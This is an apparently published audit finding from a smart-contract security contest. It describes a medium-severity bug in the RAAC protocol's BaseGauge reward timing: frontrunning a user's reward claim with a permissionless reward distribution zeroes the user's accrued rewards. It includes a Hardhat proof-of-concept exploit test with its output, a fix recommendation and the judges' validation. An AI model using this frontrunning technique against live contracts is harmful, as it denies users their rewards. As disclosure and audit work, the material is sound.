Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Incorrect time management in `BaseGauge::notifyRewardAmount` allows an attacker to block users from getting rewards

Summary

During reward distribution from the GaugeController to all gauges, BaseGauge::notifyRewardAmount updates the lastUpdateTime state variable. This variable is critical for reward calculations, as it determines the increase in user rewards since their last interaction with the gauge. However, an attacker can frontrun a user’s getReward transaction by triggering a reward distribution. This resets lastUpdateTime to the latest block.timestamp, effectively blocking the user from claiming rewards.

Vulnerability Details

BaseGauge::notifyRewardAmount:

function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
@> lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}

https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/BaseGauge.sol#L354-L367`
The function can only be called by the permissionless GaugeController::distributeRewards, which allows an attacker to manipulate lastUpdateTime.

lastUpdateTime is used in BaseGauge::getRewardPerToken, which determines the reward accumulation:

function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}

https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/BaseGauge.sol#L568-L576

lastTimeRewardApplicable() returns the smaller of periodFinish() or the latest block.timestamp

function lastTimeRewardApplicable() public view returns (uint256) {
return block.timestamp < periodFinish() ? block.timestamp : periodFinish();
}
function periodFinish() public view returns (uint256) {
return lastUpdateTime + getPeriodDuration();
}

If an attacker frontruns the user’s getReward transaction and resets lastUpdateTime to block.timestamp, the reward calculation will be:
rewardPerTokenStored + (block.timestamp - block.timestamp) * rewardRate * 1e18 / totalSupply()
Since (block.timestamp - block.timestamp) = 0, the user’s reward increase would be 0 and the user won't get any reward.

PoC

describe("BaseGaugePoC", () => {
let raacGauge;
let gaugeController;
let veRAACToken;
let rewardToken;
let stakingToken;
let owner;
let user1;
let user2;
let user3;
let user4;
const WEIGHT_PRECISION = 10000;
const DAY = 24 * 3600;
beforeEach(async () => {
[owner, user1, user2, user3, user4] = await ethers.getSigners();
// Deploy mock tokens
const MockToken = await ethers.getContractFactory("MockToken");
rewardToken = await MockToken.deploy("Reward Token", "RWD", 18);
veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
stakingToken = await MockToken.deploy("Staking Token", "STK", 18);
// Deploy controller
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(await veRAACToken.getAddress());
// Get current time and align to next period boundary with buffer
const currentTime = BigInt(await time.latest());
const duration = BigInt(7 * DAY);
const nextPeriodStart = ((currentTime / duration) + 2n) * duration; // Add 2 periods for buffer
// Deploy MockBaseGauge
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await stakingToken.getAddress(),
await gaugeController.getAddress()
);
// Setup roles
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.FEE_ADMIN(), owner.address);
await raacGauge.grantRole(await raacGauge.EMERGENCY_ADMIN(), owner.address);
// Setup initial state
await rewardToken.mint(await raacGauge.getAddress(), ethers.parseEther("1000000000"));
// Initialize boost state
await raacGauge.setBoostParameters(
25000, // 2.5x max boost
10000, // 1x min boost
7 * 24 * 3600 // 7 days boost window
);
// Add gauge to controller
await gaugeController.addGauge(await raacGauge.getAddress(), 0, WEIGHT_PRECISION);
await raacGauge.setDistributionCap(ethers.parseEther("1000000"));
// Set initial weight for testing
await raacGauge.setInitialWeight(5000);
});
it.only("blocks user from getting a reward", async () => {
// regular user has 2 ether worth of both veRAAC and staking tokens
await veRAACToken.mint(user1.address, ethers.parseEther("2"));
await stakingToken.mint(user1.address, ethers.parseEther("2"));
// attacker has 10 wei worth of veRAAC tokens
await veRAACToken.mint(user2.address, 10);
// attacker votes for a gauge
await gaugeController.connect(user2).vote(await raacGauge.getAddress(), 10000);
// regular user stakes into the gauge
await stakingToken.connect(user1).approve(await raacGauge.getAddress(), ethers.parseEther("2"));
await raacGauge.connect(user1).stake(ethers.parseEther("2"));
// wait 5 days
time.increase(5 * DAY);
// attacker frontruns the `getReward` tx and blocks the user from getting the reward
await gaugeController.connect(user2).distributeRewards(await raacGauge.getAddress());
await raacGauge.connect(user2).getReward();
const reward = await rewardToken.balanceOf(user1.address);
console.log("Reward claimed: ", reward);
expect(reward).to.be.equal(0);
})

Output:

BaseGaugePoC
Reward claimed: 0n
✔ blocks user from getting a reward (5491ms)

Impact

An attacker can continuously frontrun a user’s getReward transaction, preventing them from claiming their rewards and disrupting the protocol’s reward distribution mechanism.

Keep in mind that this issue could appear in a regular behavior of the protocol.

Tools Used

Manual Research, VSCode

Recommendations

Modify BaseGauge::notifyRewardAmount to avoid updating lastUpdateTime in a way that affects reward calculations. If a timestamp update is necessary, introduce a separate variable to track distribution-related timestamps independently from reward accrual.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge period end time miscalculation creates circular dependency between periodFinish() and lastUpdateTime, preventing periods from naturally ending and disrupting reward distribution

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge period end time miscalculation creates circular dependency between periodFinish() and lastUpdateTime, preventing periods from naturally ending and disrupting reward distribution

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.